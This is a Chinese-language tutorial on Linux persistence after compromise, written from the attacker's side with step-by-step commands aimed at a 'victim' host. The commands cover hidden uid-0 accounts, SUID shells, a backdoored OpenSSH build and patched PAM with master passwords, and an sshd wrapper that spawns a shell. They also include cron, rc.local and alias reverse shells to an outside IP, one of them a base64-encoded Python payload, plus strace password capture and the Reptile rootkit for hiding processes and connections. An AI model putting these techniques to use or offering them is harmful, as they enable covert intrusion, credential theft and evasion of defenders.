Linux权限维持
Linux权限维持
VVkladg0r权限维持
linux权限维持
木马修改时间
touch -r 目标文件 木马文件
将木马的时间修改成与另一个文件的时间相同 这样可能让受害者排查木马时忽略木马
touch -r ex10 shell.php
文件锁定
为了防止用户误删除的操作
chattr +i
锁定
chattr -i
解锁
lsattr shell.php
看锁定状态
历史记录隐藏
我们再linnux中执行的所有命令都会被记录下来
history
所以我们需要清除我们的攻击记录
隐藏接下来的命令记录
空格 set +o history
恢复
空格 set -o history
但是
空格 set +o history
仍被记录
所以
history -d 行号
history -d 104
已隐藏
隐藏文件
我们可以用touch创建隐藏文件
touch .文件名
创建隐藏文件
ls -al
查看隐藏文件
添加用户
#添加账号test,设置uid为0,密码为123456
useradd -p
openssl passwd -1 -salt 'salt' 123456
test -o -u 0 -g root -G root -s /bin/bash -d /home/test1
当然我们也可以手动写入密码文件
- 首先,使用perl语言(Linux自带)生成带有盐值的密码:
perl -le 'print crypt("123456","addedsalt")'
把生成的密码(这里是adrla7IBSfTZQ)写入
- 添加test2账号,密码设置为123456
echo "test2:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >>/etc/passwd
SUID shell
cp /bin/bash /tmp/shell
#将交互式shell移动到tmp目录
chmod +s /tmp/shell
#赋权
exit
#退出当前用户
/tmp/shell -p
#普通用户执行
whoami
#查看权限
这样相当于我们在目标主机下留下了一个后门
Openssh后门
我们把目标主机内置的ssh软件重新安装并自定义 在自定义的过程中给他一个万能密码
ssh -V
查看版本号
安装依赖
yum -y install openssl openssl-devel pam-devel zlib zlib-devel
yum -y install gcc gcc-c++ make
wget下载安装包
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar -xzvf 解压然后拷贝
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
cd openssh-5.9p1 && patch < sshbd5.9p1.diff
改版本
vi version.h
把这个版本改了
改成之前查到的版本信息 防止受害者发现openssh被换
改密码
vi includes.h
改这些
#define ILOG “/tmp/ilog” 记录了谁登录了我
#define OLOG “/tmp/olog” 记录了我登录了谁
#define SECRETPW “apaajaboleh” 万能密码
我们把这个万能密码改了
安装编译
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install
编译完了就已经替换成功了
重启ssh
service sshd restart
重启ssh服务报错解决方案
方法1:接着做如下操作
chmod 600 /etc/ssh/ssh_host_rsa_keychmod 600 /etc/ssh/ssh_host_ecdsa_key
service sshd start
方法2:或者尝试操作如下
chown -R root.root /var/empty/sshd
chmod 744 /var/empty/sshd
service sshd restart
安装成功后 我们上传的gz文件和解压后的文件删去后不影响
netstat -antp
可以看到连接的情况
SSH-PAM后门
刚刚我们换的是ssh版本 现在我们来换PAM
PAM是一个认证模块 用来登录验证等
rpm -qa | grep pam
查询版本
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
下载(受害者版本是什么我们就下什么)
tar -zxvf Linux-PAM-1.1.8
解压
yum install gcc flex flex-devel -y
安装编译环境
找到报错密码的文件
cd Linux-PAM-1.1.8-master/modules/pam_unix/vi pam_unix_auth.c
找到关键信息
换成这样
/* verify the password of this user */ |
密码就是你的密码 这个密码就是hackers
最好在本地换 不然编译可能会出问题
先rm 把他本地的pam_unix_auth.c文件删了再上传
到安装目录下编译安装
./configure && make
备份替换
备份原有pam_unix.so,防止出现错误登录不上
复制新PAM模块到/lib64/security/目录下
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp
cd Linux-PAM-1.1.8/modules/pam_unix/.libs
cp pam_unix.so /usr/lib64/security/pam_unix.so
然后我们就可以用PAM的密码进行SSH登录
ssh公私钥免密登录
ssh登录都要改ssh配置才行
vim /etc/ssh/sshd_config
把ssh生成的公钥放到目标服务器上 下次登录时会进行公私钥的匹配 匹配成功就不需要输密码
因为时攻击者kali连接Linux
kali是客户端
kali生成公钥
ssh-keygen -t rsa
到这个/root/.ssh/id_rsa下去找(红日打过)
将内容放到受害者主机的相同路径
/root/.ssh/authorized_keys
没有.ssh文件夹的话就本地登录一下
创建authorized_keys文件
kali直接可以ssh免密登录
软连接
通俗的理解:类似Windows的快捷方式
先看看开没开PAM
cat /etc/ssh/sshd_config|grep UsePAM
创建后门
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
kali ssh登录 端口就是8888
但是
仍需要密码
重启服务器就会失效
端口占用情况
容易被外联发现
SSH wrapper
原理:
首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell
简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。
cd /usr/sbin/
到存放系统管理工具的地方
mv sshd ../bin/
将sshd文件移动到/usr/bin/目录
echo '#!/usr/bin/perl' >sshd
创建一个新的sshd文件,并将其设置为Perl脚本
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
向sshd文件中添加一行代码,当接收到以4A开头的以太网帧时,执行/bin/sh
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
向sshd文件中添加一行代码,以便在其他情况下正常执行原始的/usr/bin/sshd程序。
chmod u+x sshd
给sshd赋权
service sshd restart
重启SSH服务
kali登录
socat STDIO TCP4:192.168.10.195:22,sourceport=13377
计划任务
计划任务反弹shell
1.sh
|
赋权
chmod +sx 1.sh
添加计划任务
vi /etc/cromtab
监听上线
开机启动
调用启动项路径
启动项路径
vi /etc/rc.d/rc.local
把反弹shell的文件路径放进去
赋权
chmod +x /etc/rc.d/rc.local
重启上线
strace后门
strace是一个动态跟踪工具 它可以跟踪系统的调用执行 类似于键盘记录的功能
我们通过这个后门来记录ssh登录时的密码
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &) |
finalshell重新连接一下centos
再输入grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
有记录了
找到账号密码
Alias后门
Alias:为命令设置一个别名
alias ls=‘ls -al’
将ls命名成ls -al
这样我们就可以把别名改成运行木马或者反弹shell
unalias ls
删除ls的别名
alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/192.168.10.172/3333 0>&1; };alerts'
将ls的别名改成反弹shell
ls能正常运行
kali监听
但是centos命令卡死
解决
python反弹shell
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMC4xNzIiLCAzMzMzKSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDApCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAxKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMikKICAgICAgICBwID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsICItaSJdKQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIGV4aXQoKQ=='\'')))";};alerts' |
但是要base64编码
目标要用python环境
正常执行且可以执行命令
kali也监听成功
内核加载LKM-rootkit后门
相较于其他的维权方式 会有外联有进程等
但rootkit可以隐藏外联和进程
环境搭建
先把项目zip放到目标主机
1.sh
$kernel=`uname -r` |
给1.sh赋权
执行
./1.sh
环境配置成功
进程隐藏
众所周知
ps
可以看到进程
我们用这个来隐藏进程
/reptile/reptile_cmd hide 33363
//33363为进程id号
把hide改成show就回复显示了
连接隐藏
netstat -antp
可以看到外联情况
我们隐藏一下反弹shell的连接
/reptile/reptile_cmd tcp 192.168.10.172 8899 hide
这里的tcp就是查出来的第一个数据
还可能时tcp6等 根据实际情况改
同样把hide改成show就回复了
文件隐藏
mkdir reptile_文件名
这样创建的隐藏文件是不会被ls -al查出来的
看不到 但是可以进去
客户端通信
前面的利用都是在目标主机上进行的
我们也可以在我们本地搭建客户端进行连接
kali安装
apt install libreadline-dev
cd Reptile-2.0
./setup.sh client
可以看到客户端装在了这个文件夹下的bin下
./client
进入客户端
配置一下
和msf很像
这里的rport是伪装端口
我们要用受害者主机中已开放的端口
照着那个1.sh的配
run
成功